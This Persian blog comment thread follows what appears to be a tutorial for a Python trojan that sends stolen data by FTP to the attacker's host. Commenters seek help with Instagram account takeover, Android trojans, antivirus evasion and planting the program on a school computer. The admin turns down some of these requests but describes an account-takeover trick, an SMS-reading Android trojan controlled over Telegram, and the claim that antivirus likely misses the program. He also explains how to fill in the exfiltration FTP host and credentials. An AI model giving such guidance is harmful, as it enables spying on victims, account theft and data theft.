 یک الان هاستمون و همون اکانت ftp مون چه نقشی دارن بین کدها،شاید نفهمی من باشه ولی تا جایی که متوجه شدم یه سری کد رو ما کپی میکنیم و میدیم طرف ،خب الان چطور ارسال میشه به هاست ما؟!؟!

دو آموزشی در رابطه با مثلا فرمت کردن یه گوشی اندروید یا فقط دسترسی به اکانت اینستاگرام با تایید دو مرحله ای نداری ؟!

بازم میگم دمت گرم توی برنامه نویسی ایول داری رو دستت نیست ،هرچی وبلاگ دیدم تا حالا چرت یود اما مال تو از وبسایت هم ردیف تره
Virus32 MR_C0D3R ‌ :
سوال اولیت رو که گفتی متوجه شدی وگرنه میخواستم جواب بدم :)
سوال دوم رو هم نه عزیز به هیچ عنوان این امکان وجود نداره که ما وقتی به یه اکانت اینستاگرام دسترسی داریم همچین کاری انجام بدیم
مگر اینکه یه برنامه بنویسیم و بندازیم روی گوشی قربانی که اونم کاری نداره...
در آخر اینکه نظر لطف شماست :)
در رابطه با سوال اولم باید بگم شرمنده سریع خوندم ندیدم قسمت وارد کردن اطلاعات رو ، دمت گرم توضیحات کامل و جامعه
ببخشید میشه یه آموزشی بزاری یا ای پی کی بسازی برام بفرستید با یه همچین کاری؟!؟ مثلا گوشیشو فرمت کنه چون سریع بهش نیاز دارم و راستی متوجه نشدم منظورتون چیه که ما وقتی به یه اکانت دسترسی داریم،من الان بهش هیچ دسترسی ندارم و منظورم این بود اگه تایید دو مرحله ای داشته باشه اکانتش من راهی دارم واردش شم ، خودم حدس میزنم قبلش باید به ایمیلاش هم دسترسی پیدا کنم ولی نظر شما چیه ؟ بازم دمت گرم جواب دادی سریع خیلی سالاری
Virus32 MR_C0D3R ‌ :
نه...
متاسفانه من برای کسی فایل خروجی درست نمیکنم کلا
پس من دیروز منظورتونو اشتباه متوجه شدم
بله امکانش هست با وجود دو مرحله ای وارد یه اکانت شد
اما روشایی که بلدم قدیمیه و نمیدونم جواب بده یا نه
مثلا یکی از روشها اینجوریه که چک میکنیم و زمانی که طرف آنلاین بود لاگین میشیم تو اکانتش
فکر کنم بازم زود خوندم متوجه حرفت نشدم XD اگه منظورت اینه که تنها راه ارتباطی با طرف اینستاگرامه نه،میتونم بهش برنامه بدم و اونم نصب میکنه فقط مشکل اینجاست توی هیچ سایتی درمورد تروجان اندروید صحبت نکرده و من فقط ویندوزو تا حدی بلدم اونم بیشتر به لطف شما،پس اگه آموزش اندروید هم بزاری دیگه واقعا تک میشی 
Virus32 MR_C0D3R ‌ :
اگر بتونی تروجان روی گوشیش فعال کنی خیلی خوبه :)
براحتی میتونی به پیامکاشم دسترسی داشته باشی
اتفاقا آموزش ساخت تروجان اندروید رو با برنامه نویسی گذاشته بودم
و خیلی هم زحمت کشیده بودم تا توضیح بدم که کاربرا بدونن کدوم کد رو کجا قرار بدن
اما فرداری همون روز از پلیس فتای گل اخطار دادن پاک میکنین یا فیلترت کنیم :)
اینم تصویری از خروجی نهایی اون پست که البته این فقط یه بخشی از امکاناتشه که داخل تصویر جا دادم وگرنه کلی امکانات دیگه داشت
مثل همین فرمت کردنی که خودت دنبالش بودی ، یا اینکه ظبط مکالمه و ظبط صدا و خیلی چیزای دیگه...
در کل یه تروجان فول آپشن بود تا بتونیم گوشی اندروید رو از راه دور کنترل کنیم دیگه :(
خب میتونی بجای وبلاگ جاهای دیگه هم فعالیت کنی تا پلیس فتا گیر نده ، آرشیوی از آموزشات نداری که همونی که میخوام رو واسم بفرستی؟! آموزش رو میگم وگرنه آره قبول دارم فایل خروجی‌نباید واسه کسی درست کنی دردسره،به هر حال دمت گرم ولی اگه بتونی آموزش رو واسم بفرستید خیلی ممنون میشم اگرم نه که باز دمت گرم،ولی ببخشید سرتو درد آوردم اما یه سوال،واسه تروجان اندروید از چه زبانی استفاده میکنید و اینکه آموزش خروجی اندروید گرفتن با اون زبان داری ؟!؟ یه سوال کلی ، طرز کار اندروید شبیه ویندوزه دیگه هاست میخواد و اف تی پی فقط زبان و کداش فرق میکنه درسته؟
Virus32 MR_C0D3R ‌ :
راستش اونو نمیتونم در اختیارت بزارم چون قوانین برای همه یکیه :)
تروجان هارو بیشتر با برنامه ی اندروید استودیو و به زبان جاوا مینویسن
اما چون b4a ساده تره ، بخاطر همین من از اون استفاده کرده بودم
بله به هاست نیاز بود ، چون تو اون آموزش نحوه ی دور زدن فیلترینگ تلگرام برای کنترل گوشی اندروید از طریق تلگرام رو گفته بودم
در نتیجه نیاز بود که از یه آی پی غیر ایرانی استفاده کنیم که هاست ها بهترین روش برای اینکار هستن....
حیف شد ولی بازم ممنون یه چیزایی دستگیرم شد ❤
Virus32 MR_C0D3R ‌ :
خواهش میشود :)

سلام این به چه زبان برنامه نویسییی ؟؟ 

و اینکه وقتی کپی میکنم کد ها پشت هم میان چرا ؟؟؟

سلام این به چه زبان برنامه نویسییی ؟؟ 

و اینکه وقتی کپی میکنم کد ها پشت هم میان چرا ؟؟؟

Virus32 MR_C0D3R ‌ :
شما یه نگاه به عنوان مطلب بندازی متوجه میشی به چه زبانی هستش
مهم کپی کردن شما نیستش
اول باید پایتون رو دانلود و روی سیستمت نصبش کنی

نه ای پی رو با دستور ping تو سی ام دی گرفتم

........

نه منظورم اینه که کشور و شماره و نام و ایمیلو و خلاصه همرو الکی داده بود

Virus32 MR_C0D3R ‌ :
احتمالا سایتی که داخلش چک میکنی اطلاعات اشتباه میده
مثلا برای من سایت myip.ms یکسری اطلاعات دیگه داد
اما چند تا سایت دیگه اطلاعات تقریبی دادن
اون آدرس ایمیل و شماره هم که میگی چرت و پرته
نه چرت و پرت نیستش ، وقتی که میخوایم دامنه ثبت نام کنیم
اونجا هر اطلاعاتی که وارد کنیم ، موقع هوییز گرفتن از آی پی یه سایت اون آدرس و ایمیل رو میاره

سلام اینو انتی ویروس هابرنامه های ضد جاسوسی، چه قد احتمال لورفتن داره .، اینکه لورفتم اگر هاست گمو گوری داشته باشیم  باز رد میمونه خیلی ممنون  یه سوال دیگه این چقدر شبیه ویروسه

Virus32 MR_C0D3R ‌ :
سلام
تقریبا پارسال که اینو نوشته بود آنتی ویروس بهش گیر نمیداد
الان هم به احتمال زیاد گیر نده ....
بازم یه تست بزن

سلام میشه یک برنامه رو با چند زبان نوشت

Virus32 MR_C0D3R ‌ :
منظورتون اینه هر قسمتشو به یک زبان جدا بنویسیم ؟

بله مثلا تصویر پایتون و بقیه با سی و...

Virus32 MR_C0D3R ‌ :
بستگی به برنامه داره
ویروس قبلا یه پست اجرای برنامه سی شارپ بدون کامپایلر گذاشته بود
میتونیم از اونا استفاده کنیم
یا اینکه داخل برنامه دستور ساخته شدن یه فایل Bat رو بدیم و غیره...
بنظرم بهتره اینکار انجام نشه
برای اینکه یه برنامه نویس فوق حرفه ای میخواد
چون به عنوان مثال تو سی شارپ برای ساخت یه دکمه اگه بخوایم کدنویسی کنیم یه خرده کد میبره

سلام ،چگونه میشود در آخر کار تست کرد که درست عمل میکند.باآنتی ویروس شید نسخه3تست کردم هیچی نشد. بهترین راه انتقال به کامپیوتر مدرسه چست .آخرین سوال باید اطلاعات اکانت هاستم 

ftp = ftplib.FTP('IP','Username','Password')

دراین جاجابجاکنم.،. ببخشید خیلی ممنون

Virus32 MR_C0D3R ‌ :
سلام
تو قسمت IP باید آدرس آی پی هاستت رو بدی
تو قسمت نام کاربری و رمزعبور هم باید آدرس اکانت Ftp رو قرار بدی
---
پیشنهاد میکنم بعد از ساخت اکانت داخل مای کامپیوتر و قسمت آدرس بارش بنویسی
Ftp://IP
و بعدش نام کاربری و رمز عبور اکانت Ftp رو که موقع ایجاد وارد کردی رو به برنامه بدی
بعدا اگه دیدی درست کار میکنه ، اطلاعاتت رو بدی به برنامه

man to ghesmat aval baraye code dir moshkel daram!!

سلام داداش سایت www.000webhost.com/
 هاست رایگان میده
اما ایپی نمیده میشه بگی چطوری روی این تنظیم کنم بفرسته به این

سلام داداش میشه یه کد بدی که وقتی یک فایلو از نت دانلود کرد اتوماتیک اجرا بشه اون کد استارت اپو زدم  اتوماتیک فایل بعد دانلود اجرا نشد

Virus32 MR_C0D3R ‌ :
سلام
محمد عزیز من سوالایی که یه کاربر باهاش کار خلاف انجام بده رو راهنمایی نمیکنم
برو از تو نت پیدا کن
چون از قبل میدونم داستان برنامه ای که میخوای بنویسی چیه بخاطر همین از جواب دادن به سوال های قبلی هم که با این آی پی پرسیدی معذورم

میتونیم از دستور زیر تو cmd استفاده کنیم برای پیدا کردن درایو نیم ها

wmic logicaldisk get name

Virus32 32 Attacker ‌ :
مر30 ;)

سلام ادمین
مرسی واسه توضیحات خوب و قابل فهم
بنده دانش آموز پایتون و سی شارپ هستم
یه کتاب معروف هست به اسم
 Black Hat Python: Python Programming for Hackers and Pentesters
که قیمت اصلیش 20 دلاره.
من تو دارک وب 2 دلار خریدمش
توش آموزش یه سری تروجان و کیلاگر و اسنیفر با پایتون هست و کتاب خوبیه.
یه سری اموزش هم در مورد هک از طریق سایت گیت هاب هم داره که من نفهمیدم چون هنو پایتونم ضعیفه.
اگه دوس داشتید تو سایت آپلودش کنین بهم بگو چجوری میتونم باهات در ارتباط باشم یا کجا بفرستمش. یه سری سوال ساده در مورد اسکریپت نویسی هم داشتم که اگه عیب نداشت ازت بپرسم xD
مرسی.
 

Virus32 MR_C0D3R ‌ :
سلام
کتابشو منم تو انباری سیستمم دارم :)
وقت کردم خودم قرار میدم
سوالت رو هم همینجا بپرسی
اگه چیزی باشه که بتونم و حوصلشو داشته باشم جواب میدم

موفق باشی

اگه بخوای اطلاعات رو از گوشی یکی بدزدیم باید چیکار کنیم چون این آموزش شما برای کامپیوتر یا لپتاپ هست

 

سلام گل پسر (کلا اینجوری صدا میکنم )

این قضیه که درایو ها رو میخای لیست کنی یه مقدار غیر استانداره و هارد کد نوشتی بنظرم (;

 

گشتم توی یکی از اسباب بازی هایی که نوشته بودم این رو پیدا کردم برات

 

 

from psutil import disk_partitions

from os import path



def get_drives():
    drives = []
    for partition in disk_partitions():
        drives.append(partition.device.replace("\\", ""))
    return drives



def check_drives(drives):
    registered_drive = []
    for drive in drives:
        if path.isfile(path.join(drive, "keygen.key")):
            registered_drive.append(drive)
    return registered_drive

 

یه نگاه بندازی معلوم میشه چه خبره ولی منطق ان با کتابخونه psutil همه پارتیشن ها رو میگیره و برمیگرده تابع اول 

تابع دوم هم که چک میکنه فایل keygen.key توی درایو هایی که وجود داره هست یه نه

 

برنامه من قرار بود اطلاعات رو جمع اوری کنه و همیشه دنبال فلش من بگرده و هر وقت دوباره فلش من رو پیدا کرد دیتا رو بفرسته توی فلش من ( برنامه برای خرابکاری نبوده یه سری فرایند هارو اتوماتیک میکرده تا هر تکرار نشن )

 

فلش من هم از روی وجود داشتن اون فایل پیدا میکرده اصلا محتویات اون فایل براش مهم نبوده

 

تابع دوم رو برای کمک به یکی از کامنت های پایین همین صفحه گزاشتم باشه

 

بازم دمتون گرم. خسته هم نباشین

Virus32 Virus 32 :
سلام گل پسر
باهات کاملا موافقم
کدهات خیلی قشنگ تر از کدهای ما هست
ممنون بخاطر لطفت ♥
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی